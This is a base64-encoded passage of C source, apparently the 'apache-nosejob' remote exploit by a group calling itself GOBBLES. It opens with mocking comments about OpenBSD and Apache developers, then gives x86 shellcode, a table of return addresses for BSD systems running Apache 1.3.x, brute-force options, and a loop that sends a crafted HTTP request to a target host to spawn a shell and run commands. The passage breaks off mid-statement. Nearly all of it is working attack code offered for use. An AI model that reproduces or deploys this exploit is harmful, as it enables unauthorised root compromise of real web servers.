CiAqIGV4cGxvaXRhdGlvbiBwb3NzaWJsZS4KICoKICogRG9uJ3QgZW1haWwgdXMgYXNraW5nIGZv
ciB0ZWNobmljYWwgaGVscCBvciBiZWdnaW5nIGZvciB3YXJlei4gV2UgYXJlCiAqIGJ1c3kgd29y
a2luZyBvbiBtYW55IG90aGVyIHdvbmRlcmZ1bCB0aGluZ3MsIGluY2x1ZGluZyBvdGhlciByZW1v
dGVseQogKiBleHBsb2l0YWJsZSBob2xlcyBpbiBBcGFjaGUuIFBlcmhhcHMgVGhlIEdyZWF0IFBy
MGl4IHdvdWxkIGxpa2UgdG8gaW5mb3JtCiAqIHRoZSBjb21tdW5pdHkgdGhhdCB0aG9zZSBob2xl
cyBkb24ndCBleGlzdD8gV2Ugd29uZGVyIHdobydzIHBheWluZyBoZXIuCiAqCiAqIFRoaXMgY29k
ZSBpcyBhbiBlYXJseSB2ZXJzaW9uIGZyb20gd2hlbiB3ZSBmaXJzdCBiZWdhbiByZXNlYXJjaGlu
ZyB0aGUKICogdnVsbmVyYWJpbGl0eS4gSXQgc2hvdWxkIHNwYXduIGEgc2hlbGwgb24gYW55IHVu
cGF0Y2hlZCBPcGVuQlNEIHN5c3RlbQogKiBydW5uaW5nIHRoZSBBcGFjaGUgd2Vic2VydmVyLgog
KgogKiBXZSBhcHByZWNpYXRlIFRoZSBCbHVlIEJvYXIncyBlZmZvcnQgdG8gYWxsb3cgdXMgdG8g
cG9zdCB0byBoaXMgbWFpbGluZwogKiBsaXN0IG9uY2UgYWdhaW4uIEJlY2F1c2UgaGUgZmluYWxs
eSBhbGxvd2VkIHVzIHRvIHBvc3QsIHdlIG5vdyBoYXZlIHRoaXMKICogdmVyeSBodW1ibGUgb2Zm
ZXJpbmcuCiAqCiAqIFRoaXMgaXMgYSB2ZXJ5IHNlcmlvdXMgdnVsbmVyYWJpbGl0eS4gQWZ0ZXIg
ZGlzY2xvc2luZyB0aGlzIGV4cGxvaXQsIHdlCiAqIGhvcGUgdG8gaGF2ZSBnYWluZWQgaW1tZW5z
ZSBmYW1lIGFuZCBnbG9yeS4KICoKICogVGVzdGJlZHM6IHN5bm5lcmd5Lm5ldCwgbW9ua2V5Lm9y
ZywgOW1tLmNvbQogKgogKiBBYnVzaW5nIHRoZSByaWdodCBzeXNjYWxscywgYW55IGV4cGxvaXQg
YWdhaW5zdCBPcGVuQlNEID09IHJvb3QuIEtlcm5lbAogKiBidWdzIGFyZSBncmVhdC4gCiAqCiAq
IFsjIUdPQkJMRVMgUVVPVEVTXQogKiAKICogLS0tIHlvdSBqdXN0IGtub3cgMjg5MjMwMzQ4Mzkz
MDMgYWRtaW5zIG91dCB0aGVyZSBydW5uaW5nCiAqICAgICBPcGVuQlNEL0FwYWNoZSBhcmUgZ29p
bmcgInVnaC4ubm90IGV4cGxvaXRhYmxlLi5pbGwgZG8gaXQgYWZ0ZXIgdGhlCiAqICAgICB3ZWVr
ZW5kIgogKiAtLS0gIkZpdmUgeWVhcnMgd2l0aG91dCBhIHJlbW90ZSBob2xlIGluIHRoZSBkZWZh
dWx0IGluc3RhbGwiLiBkZWZhdWx0CiAqICAgICAgcGFja2FnZSA9IGtlcm5lbC4gaWYgdGhlbyBr
bmV3IHRoYXQgdGFsa2Qgd2FzIGV4cGxvaXRhYmxlLCBoZSdkIGNyeS4KICogLS0tIHNvIGZ1bm55
IGhvdyBhcGFjaGUub3JnIGNsYWltcyBpdCdzIGltcG9zc2libGUgdG8gZXhwbG9pdCB0aGlzLgog
KiAtLS0gaG93IG1hbnkgdGltZXMgd2VyZSB3ZSB0b2xkLCAiQU5USVNFQyBJUyBOT1QgRk9SIFlP
VSIgPyAgICAgICAKICogLS0tIEkgaG9wZSBUaGVvIGRvZXNuJ3Qga2lsbCBoaW1zZWxmICAgICAg
ICAgICAgICAgICAgICAgICAgCiAqIC0tLSBoZWgsIHRoaXMgaXMgYSBtaWRkbGUgZmluZ2VyIHRv
IGFsbCB0aG9zZSBvcGVuIHNvdXJjZSwgYW50aS0ibSQiCiAqICAgICBpZGlvdHMuLi4gc2xhc2hk
b3QgaGlwcGllcy4uLgogKiAtLS0gdGhleSBydXNoZWQgdG8gcmVsZWFzZSB0aGlzIGV4cGxvaXQg
c28gdGhleSBjb3VsZCB1cGRhdGUgdGhlaXIgSVNTCiAqICAgICBzY2FubmVyIHRvIGhhdmUgYSBt
b2R1bGUgZm9yIHRoaXMgdnVsbmVyYWJpbGl0eSwgYnV0IGl0IGRvZXNudCBldmVuCiAqICAgICB3
b3JrLi4uIGl0J3MganVzdCBsb29raW5nIGZvciB3aW4zMiBhcGFjaGUgdmVyc2lvbnMKICogLS0t
IG5vIG9uZSB0b29rIHVzIHNlcmlvdXNseSB3aGVuIHdlIG1lbnRpb25lZCB0aGlzIGxhc3QgeWVh
ci4gd2Ugd2FybmVkCiAqICAgICB0aGVtIHRoYXQgbW9kZXJhdGlvbiA9PSBubyBwaWUuCiAqIC0t
LSBub3cgdHJ5IGl0IGFnYWluc3Qgc3lubmVyZ3kgOj4gICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICogLS0tIEFOT1RIRVIgQlVHIEJJVEUgVEhFIERVU1QuLi4gVlJPT09PTSBWUlJSUlJSUk9P
T09PT09PT00KICoKICogeHh4eCAgdGhpcyB0aGluZyBpcyBhIG1ham9yIGV4cGxvaXQuIGRvIHlv
dSByZWFsbHkgd2FubmEgcHVibGlzaCBpdD8KICogb29vbyAgaSdtIG5vdCBhZnJhaWQgb2Ygd2hp
dGVoYXRzCiAqIHh4eHggIHRoZSBibGFja2hhdHMgd2lsbCBraWxsIHlvdSBmb3IgcG9zdGluZyB0
aGF0IGV4cGxvaXQKICogb29vbyAgYmxhY2toYXRzIGFyZSBhIG15dGgKICogb29vbyAgc28gaSdt
IG5vdCB3b3JyaWVkCiAqIG9vb28gIGkndmUgbmV2ZXIgc2VlbiBvbmUKICogb29vbyAgaSBndWVz
cyBpdCdzIHNvcnQgb2YgbGlrZSBoYXZpbmcgZ29kIGluIHlvdXIgbGlmZQogKiBvb29vICBpIGRv
bid0IGJlbGlldmUgdGhlcmUncyBhIGdvZAogKiBvb29vICBidXQgaWYgaSBzYXQgZG93biBhbmQg
bWV0IGhpbQogKiBvb29vICBpIHdvdWxkbid0IHdhbGsgYXdheSB0aGlua2luZwogKiBvb29vICAi
dGhhdCB3YXMgb25lIGhlbGwgb2YgYSBzcGVjaWFsIGVmZmVjdCIKICogb29vbyAgc28gaSBzdXBw
b3NlIHRoZXJlIHZlcnkgd2VsbCBjb3VsZCBiZSBhIGJsYWNraGF0IHNvbWV3aGVyZQogKiBvb29v
ICBidXQgaSBkb3VidCBpdC4uLiBpJ3ZlIHNlZW4gd2hpdGVoYXQtYmxhY2toYXRzIHdpdGggdGhl
aXIgZXRoaWNzCiAqICAgICAgIGFuZCBkZWVwIHBoaWxvc29waHkuLi4KICoKICogW0dPQkJMRVMg
UE9TRVJTL1dBTk5BQkVTXQogKgogKiAtLS0gIyFHT0JCTEVTQEVGTkVUIChub25lIG9mIHVzIGpv
aW4gaGVyZSwgYnV0IHdlJ3ZlIHNuaWZmZWQgaXQpCiAqIC0tLSBzdXBlckBHT0JCTEVTLk5FVCAo
bG93LWxldmVsLm5ldCkKICoKICogR09CQkxFUyBTZWN1cml0eQogKiBHT0JCTEVTQGh1c2htYWls
LmNvbQogKiBodHRwOi8vd3d3LmJ1Z3RyYXEub3JnCiAqCiAqLwoKCiNpbmNsdWRlIDxzdGRpby5o
PgojaW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHVuaXN0
ZC5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNs
dWRlIDxuZXRpbmV0L2luLmg+CiNpbmNsdWRlIDxhcnBhL2luZXQuaD4KI2luY2x1ZGUgPG5ldGRi
Lmg+CiNpbmNsdWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CiNpZmRlZiBfX2xp
bnV4X18KI2luY2x1ZGUgPGdldG9wdC5oPgojZW5kaWYKCgojZGVmaW5lIEhPU1RfUEFSQU0JImFw
YWNoZS1ub3Nlam9iLmMiCQkvKiBUaGUgSG9zdDogZmllbGQgKi8KI2RlZmluZSBERUZBVUxUX0NN
RFoJInVuYW1lIC1hO2lkO2VjaG8gJ2hlaGUsIG5vdyB1c2UgYW5vdGhlciBidWcvYmFja2Rvb3Iv
ZmVhdHVyZSAoaGkgVGhlbyEpIHRvIGdhaW4gaW5zdGFudCByMDB0JztcbiIKI2RlZmluZSBSRVRf
QUREUl9JTkMJNTEyCgoKI2RlZmluZSBQQURTSVpFXzEJNAojZGVmaW5lIFBBRFNJWkVfMiAJNQoj
ZGVmaW5lIFBBRFNJWkVfMwk3CgoKI2RlZmluZSBSRVBfUE9QVUxBVE9SCTI0CiNkZWZpbmUgUkVQ
X1NIRUxMQ09ERQkyNAojZGVmaW5lIE5PUENPVU5UCTEwMjQKCiNkZWZpbmUgTk9QCQkweDQxCiNk
ZWZpbmUgUEFERElOR18xCSdBJwojZGVmaW5lIFBBRERJTkdfMgknQicKI2RlZmluZSBQQURESU5H
XzMJJ0MnCgojZGVmaW5lIFBVVF9TVFJJTkcocykJbWVtY3B5KHAsIHMsIHN0cmxlbihzKSk7IHAg
Kz0gc3RybGVuKHMpOwojZGVmaW5lIFBVVF9CWVRFUyhuLCBiKQltZW1zZXQocCwgYiwgbik7IHAg
Kz0gbjsKCmNoYXIgc2hlbGxjb2RlW10gPQogICJceDY4XHg0N1x4NDdceDQ3XHg0N1x4ODlceGUz
XHgzMVx4YzBceDUwXHg1MFx4NTBceDUwXHhjNlx4MDRceDI0IgogICJceDA0XHg1M1x4NTBceDUw
XHgzMVx4ZDJceDMxXHhjOVx4YjFceDgwXHhjMVx4ZTFceDE4XHhkMVx4ZWFceDMxIgogICJceGMw
XHhiMFx4ODVceGNkXHg4MFx4NzJceDAyXHgwOVx4Y2FceGZmXHg0NFx4MjRceDA0XHg4MFx4N2Nc
eDI0IgogICJceDA0XHgyMFx4NzVceGU5XHgzMVx4YzBceDg5XHg0NFx4MjRceDA0XHhjNlx4NDRc
eDI0XHgwNFx4MjBceDg5IgogICJceDY0XHgyNFx4MDhceDg5XHg0NFx4MjRceDBjXHg4OVx4NDRc
eDI0XHgxMFx4ODlceDQ0XHgyNFx4MTRceDg5IgogICJceDU0XHgyNFx4MThceDhiXHg1NFx4MjRc
eDE4XHg4OVx4MTRceDI0XHgzMVx4YzBceGIwXHg1ZFx4Y2RceDgwIgogICJceDMxXHhjOVx4ZDFc
eDJjXHgyNFx4NzNceDI3XHgzMVx4YzBceDUwXHg1MFx4NTBceDUwXHhmZlx4MDRceDI0IgogICJc
eDU0XHhmZlx4MDRceDI0XHhmZlx4MDRceDI0XHhmZlx4MDRceDI0XHhmZlx4MDRceDI0XHg1MVx4
NTBceGIwIgogICJceDFkXHhjZFx4ODBceDU4XHg1OFx4NThceDU4XHg1OFx4M2NceDRmXHg3NFx4
MGJceDU4XHg1OFx4NDFceDgwIgogICJceGY5XHgyMFx4NzVceGNlXHhlYlx4YmRceDkwXHgzMVx4
YzBceDUwXHg1MVx4NTBceDMxXHhjMFx4YjBceDVhIgogICJceGNkXHg4MFx4ZmZceDQ0XHgyNFx4
MDhceDgwXHg3Y1x4MjRceDA4XHgwM1x4NzVceGVmXHgzMVx4YzBceDUwIgogICJceGM2XHgwNFx4
MjRceDBiXHg4MFx4MzRceDI0XHgwMVx4NjhceDQyXHg0Y1x4NDVceDJhXHg2OFx4MmFceDQ3Igog
ICJceDRmXHg0Mlx4ODlceGUzXHhiMFx4MDlceDUwXHg1M1x4YjBceDAxXHg1MFx4NTBceGIwXHgw
NFx4Y2RceDgwIgogICJceDMxXHhjMFx4NTBceDY4XHg2ZVx4MmZceDczXHg2OFx4NjhceDJmXHgy
Zlx4NjJceDY5XHg4OVx4ZTNceDUwIgogICJceDUzXHg4OVx4ZTFceDUwXHg1MVx4NTNceDUwXHhi
MFx4M2JceGNkXHg4MFx4Y2MiOwo7CgpzdHJ1Y3QgewoJY2hhciAqdHlwZTsJCS8qIGRlc2NyaXB0
aW9uIGZvciBuZXdiaWUgcGVuZXRyYXRvciAqLwoJaW50IGRlbHRhOwkJLyogZGVsdGEgdGhpbmdp
ZSEgKi8KCXVfbG9uZyByZXRhZGRyOwkJLyogcmV0dXJuIGFkZHJlc3MgKi8KCWludCByZXByZXRh
ZGRyOwkJLyogd2UgcmVwZWF0IHJldGFkZHIgdGhpeiBtYW55IHRpbWVzIGluIHRoZSBidWZmZXIg
Ki8KCWludCByZXB6ZXJvOwkJLyogYW5kIFwwJ3ogdGhpcyBtYW55IHRpbWVzICovCn0gdGFyZ2V0
c1tdID0gewkvLyBoZWhlLCB5ZXMgdGhlbywgdGhhdCBzYXkgT3BlbkJTRCBoZXJlIQoJeyAiRnJl
ZUJTRCA0LjUgeDg2IC8gQXBhY2hlLzEuMy4yMyAoVW5peCkiLAkgLTE1MCwJMHg4MGYzYTAwLCA2
LCAzNiB9LAoJeyAiRnJlZUJTRCA0LjUgeDg2IC8gQXBhY2hlLzEuMy4yMyAoVW5peCkiLAkgLTE1
MCwJMHg4MGE3OTc1LCA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjAgeDg2IC8gQXBhY2hlIDEuMy4y
MCIsCQkgLTE0NiwJMHhjZmEwMCwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjAgeDg2IC8gQXBh
Y2hlIDEuMy4yMiIsCQkgLTE0NiwJMHg4ZjBhYSwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjAg
eDg2IC8gQXBhY2hlIDEuMy4yNCIsCQkgLTE0NiwJMHg5MDYwMCwgICA2LCAzNiB9LAoJeyAiT3Bl
bkJTRCAzLjAgeDg2IC8gQXBhY2hlIDEuMy4yNCAjMiIsCQkgLTE0NiwJMHg5OGEwMCwgICA2LCAz
NiB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8gQXBhY2hlIDEuMy4yMCIsCQkgLTE0NiwJMHg4ZjJh
NiwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8gQXBhY2hlIDEuMy4yMyIsCQkgLTE0
NiwJMHg5MDYwMCwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8gQXBhY2hlIDEuMy4y
NCIsCQkgLTE0NiwJMHg5MDExYSwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAzLjEgeDg2IC8gQXBh
Y2hlIDEuMy4yNCAjMiIsCQkgLTE0NiwJMHg5MzJhZSwgICA2LCAzNiB9LAoJeyAiT3BlbkJTRCAz
LjEgeDg2IC8gQXBhY2hlIDEuMy4yNCBQSFAgNC4yLjEiLCAtMTQ2LAkweDFkN2EwMCwgIDYsIDM2
IH0sCgl7ICJOZXRCU0QgMS41LjIgeDg2IC8gQXBhY2hlIDEuMy4xMiAoVW5peCkiLAkgLTkwLAkw
eDgwZWRhMDAsICA1LCA0MiB9LAoJeyAiTmV0QlNEIDEuNS4yIHg4NiAvIEFwYWNoZSAxLjMuMjAg
KFVuaXgpIiwgCSAtOTAsICAgMHg4MGVmYTAwLCAgNSwgNDIgfSwKCXsgIk5ldEJTRCAxLjUuMiB4
ODYgLyBBcGFjaGUgMS4zLjIyIChVbml4KSIsIAkgLTkwLCAgIDB4ODBlZmEwMCwgIDUsIDQyIH0s
CQoJeyAiTmV0QlNEIDEuNS4yIHg4NiAvIEFwYWNoZSAxLjMuMjMgKFVuaXgpIiwJIC05MCwJMHg4
MGVmYTAwLCAgNSwgNDIgfSwgCgl7ICJOZXRCU0QgMS41LjIgeDg2IC8gQXBhY2hlIDEuMy4yNCAo
VW5peCkiLAkgLTkwLAkweDgwZWZhMDAsICA1LCA0MiB9LAp9LCB2aWN0aW07CgoKCnZvaWQgdXNh
Z2Uodm9pZCkgewoJaW50IGk7CgoJcHJpbnRmKCJHT0JCTEVTIFNlY3VyaXR5IExhYnNcdFx0XHRc
dFx0LSBhcGFjaGUtbm9zZWpvYi5jXG5cbiIpOwoJcHJpbnRmKCJVc2FnZTogLi9hcGFjaGUtbm9z
ZWpvYiA8LXN3aXRjaGVzPiAtaCBob3N0Wzo4MF1cbiIpOwoJcHJpbnRmKCIgIC1oIGhvc3RbOnBv
cnRdXHRIb3N0IHRvIHBlbmV0cmF0ZVxuIik7CglwcmludGYoIiAgLXQgI1x0XHRcdFRhcmdldCBp
ZC5cbiIpOwoJcHJpbnRmKCIgIEJydXRlZm9yY2luZyBvcHRpb25zIChhbGwgcmVxdWlyZWQsIHVu
bGVzcyAtbyBpcyB1c2VkISk6XG4iKTsKCXByaW50ZigiICAtbyBjaGFyXHRcdERlZmF1bHQgdmFs
dWVzIGZvciB0aGUgZm9sbG93aW5nIE9TZXNcbiIpOwoJcHJpbnRmKCIgIFx0XHRcdChmKXJlZWJz
ZCwgKG8pcGVuYnNkLCAobilldGJzZFxuIik7CglwcmludGYoIiAgLWIgMHgxMjM0NTY3OFx0XHRC
YXNlIGFkZHJlc3MgdXNlZCBmb3IgYnJ1dGVmb3JjZVxuIik7CglwcmludGYoIiAgXHRcdFx0VHJ5
IDB4ODAwMDAvb2JzZCwgMHg4MGEwMDAwL2Zic2QsIDB4MDgwZTAwMDAvbmJzZC5cbiIpOwoJcHJp
bnRmKCIgIC1kIC1ubm5cdFx0bWVtY3B5KCkgZGVsdGEgYmV0d2VlbiBzMSBhbmQgYWRkciB0byBv
dmVyd3JpdGVcbiIpOwoJcHJpbnRmKCIgIFx0XHRcdFRyeSAtMTQ2L29ic2QsIC0xNTAvZmJzZCwg
LTkwL25ic2QuXG4iKTsKCXByaW50ZigiICAteiAjXHRcdFx0TnVtYmVycyBvZiB0aW1lIHRvIHJl
cGVhdCBcXDAgaW4gdGhlIGJ1ZmZlclxuIik7CglwcmludGYoIiAgXHRcdFx0VHJ5IDM2IGZvciBv
cGVuYnNkL2ZyZWVic2QgYW5kIDQyIGZvciBuZXRic2RcbiIpOwoJcHJpbnRmKCIgIC1yICNcdFx0
XHROdW1iZXIgb2YgdGltZXMgdG8gcmVwZWF0IHJldGFkZCBpbiB0aGUgYnVmZmVyXG4iKTsKCXBy
aW50ZigiICBcdFx0XHRUcnkgNiBmb3Igb3BlbmJzZC9mcmVlYnNkIGFuZCA1IGZvciBuZXRic2Rc
biIpOwoJcHJpbnRmKCIgIE9wdGlvbmFsIHN0dWZmOlxuIik7CglwcmludGYoIiAgLXcgI1x0XHRc
dE1heGltdW0gbnVtYmVyIG9mIHNlY29uZHMgdG8gd2FpdCBmb3Igc2hlbGxjb2RlIHJlcGx5XG4i
KTsKCXByaW50ZigiICAtYyBjbWR6XHRcdENvbW1hbmRzIHRvIGV4ZWN1dGUgd2hlbiBvdXIgc2hl
bGxjb2RlIHJlcGxpZXNcbiIpOwoJcHJpbnRmKCIgIFx0XHRcdGFrYSBhdXRvMHduY21kelxuIik7
CglwcmludGYoIlxuRXhhbXBsZXMgd2lsbCBiZSBwdWJsaXNoZWQgaW4gdXBjb21pbmcgYXBhY2hl
LXNjYWxwLUhPV1RPLnBkZlxuIik7CglwcmludGYoIlxuLS0tIC0tLSAtIFBvdGVudGlhbCB0YXJn
ZXRzIGxpc3QgLSAtLS0gLS0tLSAtLS0tLS0tIC0tLS0tLS0tLS0tLVxuIik7CglwcmludGYoIiBJ
RCAvIFJldHVybiBhZGRyIC8gVGFyZ2V0IHNwZWNpZmljYXRpb25cbiIpOwoJZm9yKGkgPSAwOyBp
IDwgc2l6ZW9mKHRhcmdldHMpL3NpemVvZih2aWN0aW0pOyBpKyspCgkJcHJpbnRmKCIlIDNkIC8g
IDB4JS44bHggLyAlc1xuIiwgaSwgdGFyZ2V0c1tpXS5yZXRhZGRyLCB0YXJnZXRzW2ldLnR5cGUp
OwoKCWV4aXQoMSk7Cn0KCgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CgljaGFy
ICpob3N0cCwgKnBvcnRwLCAqY21keiA9IERFRkFVTFRfQ01EWjsKCXVfY2hhciBidWZbNTEyXSwg
KmV4cGJ1ZiwgKnA7CglpbnQgaSwgaiwgbHBvcnQsIHNvY2s7CglpbnQgYnJ1dGVmb3JjZSwgb3du
ZWQsIHByb2dyZXNzLCBzY190aW1lb3V0ID0gNTsKCWludCByZXNwb25zZXMsIHNob3duX2xlbmd0
aCA9IDA7CglzdHJ1Y3QgaW5fYWRkciBpYTsKCXN0cnVjdCBzb2NrYWRkcl9pbiBzaW4sIGZyb207
CglzdHJ1Y3QgaG9zdGVudCAqaGU7CgoKCWlmKGFyZ2MgPCA0KQoJCXVzYWdlKCk7CgoJYnJ1dGVm
b3JjZSA9IDA7CgltZW1zZXQoJnZpY3RpbSwgMCwgc2l6ZW9mKHZpY3RpbSkpOwoJd2hpbGUoKGkg
PSBnZXRvcHQoYXJnYywgYXJndiwgInQ6YjpkOmg6dzpjOnI6ejpvOiIpKSAhPSAtMSkgewoJCXN3
aXRjaChpKSB7CgkJCS8qIHJlcXVpcmVkIHN0dWZmICovCgkJCWNhc2UgJ2gnOgoJCQlob3N0cCA9
IHN0cnRvayhvcHRhcmcsICI6Iik7CgkJCWlmKChwb3J0cCA9IHN0cnRvayhOVUxMLCAiOiIpKSA9
PSBOVUxMKQoJCQkJcG9ydHAgPSAiODAiOwoJCQlicmVhazsKCgkJCS8qIHByZWRlZmluZWQgdGFy
Z2V0cyAqLwoJCQljYXNlICd0JzoKCQkJaWYoYXRvaShvcHRhcmcpID49IHNpemVvZih0YXJnZXRz
KS9zaXplb2YodmljdGltKSkgewoJCQkJcHJpbnRmKCJJbnZhbGlkIHRhcmdldFxuIik7CgkJCQly
ZXR1cm4gLTE7CgkJCX0KCgkJCW1lbWNweSgmdmljdGltLCAmdGFyZ2V0c1thdG9pKG9wdGFyZyld
LCBzaXplb2YodmljdGltKSk7CgkJCWJyZWFrOwoKCQkJLyogYnJ1dGVmb3JjZSEgKi8KCQkJY2Fz
ZSAnYic6CgkJCWJydXRlZm9yY2UrKzsKCQkJdmljdGltLnR5cGUgPSAiQ3VzdG9tIHRhcmdldCI7
CgkJCXZpY3RpbS5yZXRhZGRyID0gc3RydG91bChvcHRhcmcsIE5VTEwsIDE2KTsKCQkJcHJpbnRm
KCJVc2luZyAweCVseCBhcyB0aGUgYmFzZWFkcmVzcyB3aGlsZSBicnV0ZWZvcmNpbmcuLlxuIiwg
dmljdGltLnJldGFkZHIpOwoJCQlicmVhazsKCgkJCWNhc2UgJ2QnOgoJCQl2aWN0aW0uZGVsdGEg
PSBhdG9pKG9wdGFyZyk7CgkJCXByaW50ZigiVXNpbmcgJWQgYXMgZGVsdGFcbiIsIHZpY3RpbS5k
ZWx0YSk7CgkJCWJyZWFrOwoKCQkJY2FzZSAncic6CgkJCXZpY3RpbS5yZXByZXRhZGRyID0gYXRv
aShvcHRhcmcpOwoJCQlwcmludGYoIlJlcGVhdGluZyB0aGUgcmV0dXJuIGFkZHJlc3MgJWQgdGlt
ZXNcbiIsIHZpY3RpbS5yZXByZXRhZGRyKTsKCQkJYnJlYWs7CgoJCQljYXNlICd6JzoKCQkJdmlj
dGltLnJlcHplcm8gPSBhdG9pKG9wdGFyZyk7CgkJCXByaW50ZigiTnVtYmVyIG9mIHplcm9lcyB3
aWxsIGJlICVkXG4iLCB2aWN0aW0ucmVwemVybyk7CgkJCWJyZWFrOwoKCQkJY2FzZSAnbyc6CgkJ
CWJydXRlZm9yY2UrKzsKCQkJc3dpdGNoKCpvcHRhcmcpIHsKCQkJCWNhc2UgJ2YnOgoJCQkJdmlj
dGltLnR5cGUgPSAiRnJlZUJTRCI7CgkJCQl2aWN0aW0ucmV0YWRkciA9IDB4ODBhMDAwMDsKCQkJ
CXZpY3RpbS5kZWx0YSA9IC0xNTA7CgkJCQl2aWN0aW0ucmVwcmV0YWRkciA9IDY7CgkJCQl2aWN0
aW0ucmVwemVybyA9IDM2OwoJCQkJYnJlYWs7CgoJCQkJY2FzZSAnbyc6CgkJCQl2aWN0aW0udHlw
ZSA9ICJPcGVuQlNEIjsKCQkJCXZpY3RpbS5yZXRhZGRyID0gMHg4MDAwMDsKCQkJCXZpY3RpbS5k
ZWx0YSA9IC0xNDY7CgkJCQl2aWN0aW0ucmVwcmV0YWRkciA9IDY7CgkJCQl2aWN0aW0ucmVwemVy
byA9IDM2OwoJCQkJYnJlYWs7CgoJCQkJY2FzZSAnbic6CgkJCQl2aWN0aW0udHlwZSA9ICJOZXRC
U0QiOwoJCQkJdmljdGltLnJldGFkZHIgPSAweDA4MGUwMDAwOwoJCQkJdmljdGltLmRlbHRhID0g
LTkwOwoJCQkJdmljdGltLnJlcHJldGFkZHIgPSA1OwoJCQkJdmljdGltLnJlcHplcm8gPSA0MjsK
CQkJCWJyZWFrOwoKCQkJCWRlZmF1bHQ6CgkJCQlwcmludGYoIlstXSBCZXR0ZXIgbHVjayBuZXh0
IHRpbWUhXG4iKTsKCQkJCWJyZWFrOwoJCQl9CgkJCWJyZWFrOwoKCQkJLyogb3B0aW9uYWwgc3R1
ZmYgKi8KCQkJY2FzZSAndyc6CgkJCXNjX3RpbWVvdXQgPSBhdG9pKG9wdGFyZyk7CgkJCXByaW50
ZigiV2FpdGluZyBtYXhpbXVtICVkIHNlY29uZHMgZm9yIHJlcGxpZXMgZnJvbSBzaGVsbGNvZGVc
biIsIHNjX3RpbWVvdXQpOwoJCQlicmVhazsKCgkJCWNhc2UgJ2MnOgoJCQljbWR6ID0gb3B0YXJn
OwoJCQlicmVhazsKCgkJCWRlZmF1bHQ6CgkJCXVzYWdlKCk7CgkJCWJyZWFrOwoJCX0KCX0KCglp
ZighdmljdGltLmRlbHRhIHx8ICF2aWN0aW0ucmV0YWRkciB8fCAhdmljdGltLnJlcHJldGFkZHIg
fHwgIXZpY3RpbS5yZXB6ZXJvKSB7CgkJcHJpbnRmKCJbLV0gSW5jb21wbGV0ZSB0YXJnZXQuIEF0
IGxlYXN0IDEgYXJndW1lbnQgaXMgbWlzc2luZyAobm1hcCBzdHlsZSEhKVxuIik7CgkJcmV0dXJu
IC0xOwoJfQoKCXByaW50ZigiWypdIFJlc29sdmluZyB0YXJnZXQgaG9zdC4uICIpOwoJZmZsdXNo
KHN0ZG91dCk7CgloZSA9IGdldGhvc3RieW5hbWUoaG9zdHApOwoJaWYoaGUpCgkJbWVtY3B5KCZp
YS5zX2FkZHIsIGhlLT5oX2FkZHIsIDQpOwoJZWxzZSBpZigoaWEuc19hZGRyID0gaW5ldF9hZGRy
KGhvc3RwKSkgPT0gSU5BRERSX0FOWSkgewoJCXByaW50ZigiVGhlcmUneiBubyAlcyBvbiB0aGlz
IHNpZGUgb2YgdGhlIE5ldCFcbiIsIGhvc3RwKTsKCQlyZXR1cm4gLTE7Cgl9CgoJcHJpbnRmKCIl
c1xuIiwgaW5ldF9udG9hKGlhKSk7CgoKCXNyYW5kKGdldHBpZCgpKTsKCXNpZ25hbChTSUdQSVBF
LCBTSUdfSUdOKTsKCWZvcihvd25lZCA9IDAsIHByb2dyZXNzID0gMDs7dmljdGltLnJldGFkZHIg
Kz0gUkVUX0FERFJfSU5DKSB7CgkJLyogc2tpcCBpbnZhbGlkIHJldHVybiBhZHJlc3NlcyAqLwoJ
CWlmKG1lbWNocigmdmljdGltLnJldGFkZHIsIDB4MGEsIDQpIHx8IG1lbWNocigmdmljdGltLnJl
dGFkZHIsIDB4MGQsIDQpKQoJCQljb250aW51ZTsKCgoJCXNvY2sgPSBzb2NrZXQoUEZfSU5FVCwg
U09DS19TVFJFQU0sIDApOwoJCXNpbi5zaW5fZmFtaWx5ID0gUEZfSU5FVDsKCQlzaW4uc2luX2Fk
ZHIuc19hZGRyID0gaWEuc19hZGRyOwoJCXNpbi5zaW5fcG9ydCA9IGh0b25zKGF0b2kocG9ydHAp
KTsKCQlpZighcHJvZ3Jlc3MpCgkJCXByaW50ZigiWypdIENvbm5lY3RpbmcuLiAiKTsKCgkJZmZs
dXNoKHN0ZG91dCk7CgkJaWYoY29ubmVjdChzb2NrLCAoc3RydWN0IHNvY2thZGRyICopICYgc2lu
LCBzaXplb2Yoc2luKSkgIT0gMCkgewoJCQlwZXJyb3IoImNvbm5lY3QoKSIpOwoJCQlleGl0KDEp
OwoJCX0KCgkJaWYoIXByb2dyZXNzKQoJCQlwcmludGYoImNvbm5lY3RlZCFcbiIpOwoKCgkJcCA9
IGV4cGJ1ZiA9IG1hbGxvYyg4MTkyICsgKChQQURTSVpFXzMgKyBOT1BDT1VOVCArIDEwMjQpICog
UkVQX1NIRUxMQ09ERSkKCQkJCSAgICArICgoUEFEU0laRV8xICsgKHZpY3RpbS5yZXByZXRhZGRy
ICogNCkgKyB2aWN0aW0ucmVwemVybwoJCQkJICAgICsgMTAyNCkgKiBSRVBfUE9QVUxBVE9SKSk7
CgoJCVBVVF9TVFJJTkcoIkdFVCAvIEhUVFAvMS4xXHJcbkhvc3Q6ICIgSE9TVF9QQVJBTSAiXHJc
biIpOwoKCQlmb3IgKGkgPSAwOyBpIDwgUkVQX1NIRUxMQ09ERTsgaSsrKSB7CgkJCVBVVF9TVFJJ
TkcoIlgtIik7CgkJCVBVVF9CWVRFUyhQQURTSVpFXzMsIFBBRERJTkdfMyk7CgkJCVBVVF9TVFJJ
TkcoIjogIik7CgkJCVBVVF9CWVRFUyhOT1BDT1VOVCwgTk9QKTsKCQkJbWVtY3B5KHAsIHNoZWxs
